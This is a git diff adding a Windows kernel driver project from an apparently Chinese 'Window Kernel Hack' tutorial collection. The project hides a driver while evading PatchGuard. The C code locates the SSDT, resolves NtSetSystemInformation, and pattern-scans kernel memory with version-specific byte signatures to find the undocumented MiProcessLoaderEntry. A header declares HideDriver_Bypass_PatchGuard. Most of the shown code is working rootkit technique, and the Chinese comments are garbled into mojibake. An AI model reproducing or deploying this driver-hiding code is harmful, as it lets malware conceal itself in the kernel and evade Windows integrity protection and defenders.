(PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink; + + } while (pFirstDriverData != pDriverData); + + return TRUE; +} + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver.h" new file mode 100644 index 0000000..b3518bc --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver.h" @@ -0,0 +1,59 @@ +#ifndef _DRIVER_ENUM_H_ +#define _DRIVER_ENUM_H_ + + +#include + + +// ע32λ64λĶС +#ifndef _WIN64 + #pragma pack(1) +#endif + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +#ifndef _WIN64 + #pragma pack() +#endif + + +// ģ +BOOLEAN EnumDriver(PDRIVER_OBJECT pDriverObject); + +// ģ(Bypass Patch Guard) +BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.inf" new file mode 100644 index 0000000..34bc8d1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.inf" @@ -0,0 +1,32 @@ +; +; EnumDriver_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="EnumDriver_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj" new file mode 100644 index 0000000..4f15785 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj" @@ -0,0 +1,263 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {AA843A5C-470C-40E2-ADFF-302C81949D7C} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + EnumDriver_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + false + + + Level3 + + + false + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj.filters" new file mode 100644 index 0000000..d37c1ee --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj.filters" @@ -0,0 +1,54 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj.user" new file mode 100644 index 0000000..2243d39 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/GetMiProcessLoaderEntry.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/GetMiProcessLoaderEntry.c" new file mode 100644 index 0000000..a94f2c2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/GetMiProcessLoaderEntry.c" @@ -0,0 +1,325 @@ +#include "GetMiProcessLoaderEntry.h" +#include "SSDTFunction.h" + + +// MmLoadSystemImage лȡӦ MiProcessLoaderEntry +// , 3264λ Win7, Win8.1 ֱӴ MmLoadSystemImage MiProcessLoaderEntry +// 3264λ Win10 Ҫ MmLoadSystemImage MiConstructLoaderEntry, ٴ MiConstructLoaderEntry MiProcessLoaderEntry +PVOID GetFuncAddr_MiProcessLoaderEntry() +{ + NTSTATUS status = STATUS_SUCCESS; + RTL_OSVERSIONINFOW osVersionInfo = { 0 }; + PVOID pMmLoadSystemImage = NULL; + PVOID pMiConstructLoaderEntry = NULL; + PVOID pMiProcessLoaderEntry = NULL; + UCHAR pSpecialCode[256] = { 0 }; + ULONG ulSpecialCodeLength = 256; + ULONG ulSearchLength = 0x1000; + PVOID pSearchResultAddr = NULL; + LONG lOffset = 0; + RtlZeroMemory(pSpecialCode, ulSpecialCodeLength); + + // NtSetSystemInformation лȡ MmLoadSystemImage ַ + pMmLoadSystemImage = GetFuncAddr_MmLoadSystemImage(); + if (NULL == pMmLoadSystemImage) + { + return pMiProcessLoaderEntry; + } + DbgPrint("pMmLoadSystemImage[0x%p]\n", pMmLoadSystemImage); + + // ȡϵͳ汾Ϣ + RtlGetVersion(&osVersionInfo); + if (6 == osVersionInfo.dwMajorVersion) + { + // Win7 + if (1 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x6a; + pSpecialCode[1] = 0x01; + pSpecialCode[2] = 0x56; + pSpecialCode[3] = 0xe8; + ulSpecialCodeLength = 4; +#else + // 64 Bits + pSpecialCode[0] = 0xba; + pSpecialCode[1] = 0x01; + pSpecialCode[2] = 0x00; + pSpecialCode[3] = 0x00; + pSpecialCode[4] = 0x00; + pSpecialCode[5] = 0x48; + pSpecialCode[6] = 0x8b; + pSpecialCode[7] = 0xcd; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; +#endif + } + // Win8 + else if (2 == osVersionInfo.dwMinorVersion) + { + + } + // Win8.1 + else if (3 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x89; + pSpecialCode[1] = 0x74; + pSpecialCode[2] = 0x24; + pSpecialCode[3] = 0x1c; + pSpecialCode[4] = 0x8b; + pSpecialCode[5] = 0xcf; + pSpecialCode[6] = 0xe8; + ulSpecialCodeLength = 7; +#else + // 64 Bits + pSpecialCode[0] = 0x41; + pSpecialCode[1] = 0x83; + pSpecialCode[2] = 0xcc; + pSpecialCode[3] = 0x04; + pSpecialCode[4] = 0xe8; + ulSpecialCodeLength = 5; +#endif + } + } + // Win10 + else if (10 == osVersionInfo.dwMajorVersion) + { + // Ȼȡ MiConstructLoaderEntry, ٻȡ MiProcessLoaderEntry +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x8d; + pSpecialCode[1] = 0x54; + pSpecialCode[2] = 0x24; + pSpecialCode[3] = 0x4c; + pSpecialCode[4] = 0x50; + pSpecialCode[5] = 0xe8; + ulSpecialCodeLength = 6; + // + pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMiProcessLoaderEntry; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + // + pSpecialCode[0] = 0x8b; + pSpecialCode[1] = 0xcb; + pSpecialCode[2] = 0x42; + pSpecialCode[3] = 0xe8; + ulSpecialCodeLength = 4; + pMmLoadSystemImage = pMiConstructLoaderEntry; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8b; + pSpecialCode[2] = 0xcf; + pSpecialCode[3] = 0x89; + pSpecialCode[4] = 0x44; + pSpecialCode[5] = 0x24; + pSpecialCode[6] = 0x20; + pSpecialCode[7] = 0xe8; + ulSpecialCodeLength = 8; + // + pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMiProcessLoaderEntry; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + // + pSpecialCode[0] = 0xba; + pSpecialCode[1] = 0x01; + pSpecialCode[2] = 0x00; + pSpecialCode[3] = 0x00; + pSpecialCode[4] = 0x00; + pSpecialCode[5] = 0x48; + pSpecialCode[6] = 0x8b; + pSpecialCode[7] = 0xcf; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; + pMmLoadSystemImage = pMiConstructLoaderEntry; +#endif + } + + // + pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMiProcessLoaderEntry; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMiProcessLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + + return pMiProcessLoaderEntry; +} + + +// NtSetSystemInformation лȡ MmLoadSystemImage ַ +PVOID GetFuncAddr_MmLoadSystemImage() +{ + NTSTATUS status = STATUS_SUCCESS; + RTL_OSVERSIONINFOW osVersionInfo = { 0 }; + PVOID pNtSetSystemInformation = NULL; + PVOID pMmLoadSystemImage = NULL; + UCHAR pSpecialCode[256] = { 0 }; + ULONG ulSpecialCodeLength = 256; + ULONG ulSearchLength = 0x1000; + PVOID pSearchResultAddr = NULL; + LONG lOffset = 0; + RtlZeroMemory(pSpecialCode, ulSpecialCodeLength); + + // SSDT лȡ NtSetSystemInformation ַ + pNtSetSystemInformation = GetSSDTFunction("NtSetSystemInformation"); + if (NULL == pNtSetSystemInformation) + { + return pMmLoadSystemImage; + } + + // ȡϵͳ汾Ϣ + RtlGetVersion(&osVersionInfo); + if (6 == osVersionInfo.dwMajorVersion) + { + // Win7 + if (1 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0xd8; + pSpecialCode[1] = 0x50; + pSpecialCode[2] = 0xe8; + ulSpecialCodeLength = 3; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8d; + pSpecialCode[2] = 0x4c; + pSpecialCode[3] = 0x24; + pSpecialCode[4] = 0x38; + pSpecialCode[5] = 0xe8; + ulSpecialCodeLength = 6; +#endif + } + // Win8 + else if (2 == osVersionInfo.dwMinorVersion) + { + + } + // Win8.1 + else if (3 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x8d; + pSpecialCode[1] = 0x85; + pSpecialCode[2] = 0x10; + pSpecialCode[3] = 0xff; + pSpecialCode[4] = 0xff; + pSpecialCode[5] = 0xff; + pSpecialCode[6] = 0x50; + pSpecialCode[7] = 0xe8; + ulSpecialCodeLength = 8; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8d; + pSpecialCode[2] = 0x8c; + pSpecialCode[3] = 0x24; + pSpecialCode[4] = 0x00; + pSpecialCode[5] = 0x02; + pSpecialCode[6] = 0x00; + pSpecialCode[7] = 0x00; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; +#endif + } + } + // Win10 + else if (10 == osVersionInfo.dwMajorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x8d; + pSpecialCode[1] = 0x85; + pSpecialCode[2] = 0x04; + pSpecialCode[3] = 0xff; + pSpecialCode[4] = 0xff; + pSpecialCode[5] = 0xff; + pSpecialCode[6] = 0x50; + pSpecialCode[7] = 0xe8; + ulSpecialCodeLength = 8; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8d; + pSpecialCode[2] = 0x8c; + pSpecialCode[3] = 0x24; + pSpecialCode[4] = 0x48; + pSpecialCode[5] = 0x02; + pSpecialCode[6] = 0x00; + pSpecialCode[7] = 0x00; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; +#endif + } + + // + pSearchResultAddr = SearchSpecialCode(pNtSetSystemInformation, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMmLoadSystemImage; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMmLoadSystemImage = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + + return pMmLoadSystemImage; +} + + +// +PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength) +{ + PVOID pDestAddr = NULL; + PUCHAR pBeginAddr = (PUCHAR)pSearchBeginAddr; + PUCHAR pEndAddr = pBeginAddr + ulSearchLength; + PUCHAR i = NULL; + ULONG j = 0; + + for (i = pBeginAddr; i <= pEndAddr; i++) + { + // + for (j = 0; j < ulSpecialCodeLength; j++) + { + // жϵַǷЧ + if (FALSE == MmIsAddressValid((PVOID)(i + j))) + { + break;; + } + // ƥ + if (*(PUCHAR)(i + j) != pSpecialCode[j]) + { + break; + } + } + // ƥɹ + if (j >= ulSpecialCodeLength) + { + pDestAddr = (PVOID)i; + break; + } + } + + return pDestAddr; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/GetMiProcessLoaderEntry.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/GetMiProcessLoaderEntry.h" new file mode 100644 index 0000000..69b5471 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/GetMiProcessLoaderEntry.h" @@ -0,0 +1,34 @@ +#ifndef _GET_MIPROCESSLOADERENTRY_H_ +#define _GET_MIPROCESSLOADERENTRY_H_ + + +#include + + +#ifndef _WIN64 + // 32 + typedef NTSTATUS(__stdcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); +#else + // 64 + typedef NTSTATUS(__fastcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); +#endif + + +// MmLoadSystemImage лȡӦ MiProcessLoaderEntry +// , 3264λ Win7, Win8.1 ֱӴ MmLoadSystemImage MiProcessLoaderEntry +// 3264λ Win10 Ҫ MmLoadSystemImage MiConstructLoaderEntry, ٴ MiConstructLoaderEntry MiProcessLoaderEntry +PVOID GetFuncAddr_MiProcessLoaderEntry(); + +// NtSetSystemInformation лȡ MmLoadSystemImage ַ +PVOID GetFuncAddr_MmLoadSystemImage(); + +// +PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength); + + +#endif + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/SSDTFunction.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/SSDTFunction.c" new file mode 100644 index 0000000..0f1d7f0 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/SSDTFunction.c" @@ -0,0 +1,190 @@ +#include "SSDTFunction.h" + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName) +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PVOID pFunctionAddress = NULL; + PSSDTEntry pServiceDescriptorTable = NULL; + ULONG ulOffset = 0; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); + + //32λ, ֱӻȡַ; 64λ, , KiSystemCall64 лȡ SSDT ַ + pServiceDescriptorTable = GetSSDTAddress(); + + // , SSDTлȡӦƫƵַַ +#ifndef _WIN64 + // 32 Bits + pFunctionAddress = (PVOID)pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex]; +#else + // 64 Bits + ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; + pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); +#endif + + // ʾ + DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress); + + return pFunctionAddress; +} + + +// 32λ, ֱӻȡַ; 64λ, , KiSystemCall64 лȡ SSDT ַ +PVOID GetSSDTAddress() +{ + PVOID pServiceDescriptorTable = NULL; + PVOID pKiSystemCall64 = NULL; + UCHAR ulCode1 = 0; + UCHAR ulCode2 = 0; + UCHAR ulCode3 = 0; + // עʹз + LONG lOffset = 0; + +#ifndef _WIN64 + // 32 Bits + pServiceDescriptorTable = (PVOID)(&KeServiceDescriptorTable); +#else + // 64 Bits + // ȡ KiSystemCall64 ַ + pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); + // 4C8D15 + for (ULONG i = 0; i < 1024; i++) + { + // ȡڴ + ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); + ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); + ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); + // ж + if (0x4C == ulCode1 && + 0x8D == ulCode2 && + 0x15 == ulCode3) + { + // ȡƫ + lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); + // ƫƼַ + pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); + break; + } + } +#endif + + return pServiceDescriptorTable; +} + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + PVOID pBaseAddress = NULL; + + // ڴӳļ + status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); + if (!NT_SUCCESS(status)) + { + KdPrint(("DllFileMap Error!\n")); + return ulFunctionIndex; + } + + // ݵȡַ, Ӷȡ SSDT + ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); + + // ͷ + ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); + ZwClose(hSection); + ZwClose(hFile); + + return ulFunctionIndex; +} + +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + PVOID pBaseAddress = NULL; + SIZE_T viewSize = 0; + // DLL ļ, ȡļ + InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, + FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + if (!NT_SUCCESS(status)) + { + KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); + return status; + } + // һڶ, PE ṹе SectionALignment Сӳļ + status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); + return status; + } + // ӳ䵽ڴ + status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + { + ZwClose(hSection); + ZwClose(hFile); + KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); + return status; + } + + // + *phFile = hFile; + *phSection = hSection; + *ppBaseAddress = pBaseAddress; + + return status; +} + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + // Dos Header + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; + // NT Header + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + // Export Table + PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + // Ƶĵ + ULONG ulNumberOfNames = pExportTable->NumberOfNames; + // Ƶַ + PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); + PCHAR lpName = NULL; + // ʼ + for (ULONG i = 0; i < ulNumberOfNames; i++) + { + lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); + // жǷҵĺ + if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) + { + // ȡַ + USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); + ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); + PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); + // ȡ SSDT Index +#ifdef _WIN64 + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); +#else + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); +#endif + break; + } + } + + return ulFunctionIndex; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/SSDTFunction.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/SSDTFunction.h" new file mode 100644 index 0000000..f493ba3 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/SSDTFunction.h" @@ -0,0 +1,52 @@ +#ifndef _SSDT_FUNCTION_H_ +#define _SSDT_FUNCTION_H_ + + +#include +#include + + +#ifndef _WIN64 + // 32 Bits + #pragma pack(1) + typedef struct _SERVICE_DESCIPTOR_TABLE + { + PULONG ServiceTableBase; // SSDTַ + PULONG ServiceCounterTableBase; // SSDTз񱻵ô + ULONG NumberOfService; // SSDT 